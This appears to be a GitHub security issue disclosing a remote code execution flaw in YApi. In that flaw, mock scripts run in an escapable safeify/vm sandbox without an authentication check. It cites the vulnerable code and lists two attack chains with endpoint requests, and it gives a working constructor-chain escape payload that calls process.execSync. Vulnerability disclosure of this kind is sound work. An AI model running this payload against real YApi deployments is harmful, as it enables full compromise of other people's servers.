#2809·yapi

Security: RCE via safeify sandbox escape in mock script execution (CWE-94)

Author: zoro-max1Created Jun 27, 2026Updated Jun 27, 2026

CVE Report: RCE via safeify sandbox escape in YApi mock script

Summary

YMFE YApi (<= 1.12.0) allows unauthenticated remote code execution through the mock server middleware. The /mock/{projectId}/{path} endpoint executes project mock scripts via safeify (a Node.js vm-based sandbox) without any authentication. The safeify/vm2 sandbox can be escaped using known constructor chain techniques (e.g., this.constructor.constructor('return process')()) to gain access to process.execSync() and execute arbitrary system commands.

Affected Software

  • Project: YMFE/yapi (27k+ stars)
  • Version: <= 1.12.0
  • CWE: CWE-94 (Improper Control of Generation of Code)
  • Severity: Critical (CVSS 9.8 — unauthenticated RCE)

Root Cause

  1. server/middleware/mockServer.js:328-331 — When project.is_mock_open=true and project.project_mock_script is non-empty, the middleware calls handleMockScript(script, context) with zero authentication.

  2. server/utils/commons.js:616-635handleMockScript passes the script to sandboxFn (sandbox.js).

  3. server/utils/sandbox.js — Uses safeify (based on Node.js vm2/vm module) which has known sandbox escape vulnerabilities (CVE-2023-37466, CVE-2022-36067).

  4. server/controllers/interfaceCol.js:856-859runCaseScript allows any authenticated user to execute arbitrary scripts via the same sandbox, with no checkAuth call.

Vulnerable Code

javascript
// mockServer.js:328 — NO authentication check
if (project.is_mock_open && project.project_mock_script) {
  let script = project.project_mock_script;
  await yapi.commons.handleMockScript(script, context);
}

// sandbox.js — safeify/vm sandbox (escapable)
const safeVm = new Safeify({ timeout: 3000 });
const result = await safeVm.run(script, context);

Proof of Concept

Attack Chain 1: Unauthenticated RCE via mock endpoint

  1. Register or gain project edit access → write project_mock_script with sandbox escape payload
  2. Enable is_mock_open for the project
  3. Any unauthenticated user: GET /mock/{projectId}/any/path
  4. Server executes the mock script → sandbox escape → RCE

Payload

javascript
const process = this.constructor.constructor('return this.process')();
mockJson = { pwned: true, output: process.execSync('id').toString() };

Attack Chain 2: Authenticated RCE via runCaseScript

  1. Any logged-in user: POST /api/col/run_script
  2. Body: { "col_id": <any>, "interface_id": <any>, "script": "<escape payload>" }
  3. No checkAuth verification → sandbox escape → RCE

Impact

  • Unauthenticated remote code execution on the YApi server
  • Full server compromise (process runs as the Node.js user)
  • Affects all YApi deployments with mock functionality enabled
  • 27k+ GitHub stars, widely used in Chinese tech companies

Timeline

  • 2026-06-27: Vulnerability discovered
  • 2026-06-27: Code analysis and PoC verified